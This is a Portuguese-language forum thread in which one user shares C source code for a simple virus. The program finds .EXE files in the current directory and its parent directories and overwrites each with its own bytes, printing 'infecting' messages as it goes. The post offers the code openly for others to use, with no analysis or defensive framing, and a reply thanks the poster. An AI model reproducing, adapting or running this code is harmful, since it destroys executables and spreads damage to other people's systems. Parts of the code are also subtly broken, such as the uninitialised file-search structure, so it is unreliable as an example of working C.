Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Código Fonte de um Vírus simples que sobrescreve arquivos .EXE

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    C / C++ Código Fonte de um Vírus simples que sobrescreve arquivos .EXE

    Olá pessoal quero compartilhar com vocês um código fonte de um Vírus que sobrescreve arquivos executáveis (.EXE) que estiver no diretório atual ou no diretório Pai.

    Vírus.

    Código:
    #include<stdio.h>
    #include<dir.h>
    #include<dos.h>
    
    void main(int argc,char *argv[])
    {
    
    int bytes,i,done;
    FILE *virus,*host;
    struct ffblk *f;
    char buffer[512];
    do
    {
    	done=findfirst("*.exe",f,0);
    	while(!done)
    	{
    		virus=fopen(argv[0],"rb");//abrir o vírus em modo de leitura
    		host=fopen(f->ff_name,"rb+");//abra o arquivo host no r / w modo
    
    		 for(;fread(buffer,512,1,virus)==1;)
    
    			fwrite(buffer,512,1,host);
    		fclose(host);
    		fseek(virus,0,0);//pontos para o início do vírus
    		printf("infecting %s 
    ",f->ff_name);
    		done=findnext(f);
    		}
    }
    
    while(!chdir(".."));
    printf("WCG 147");

    Espero que gostem.



    WCG 147
    sigpic

  • Font Size
    #2
    Obrigado por compartilhar.

    Comment

    X
    Working...
    X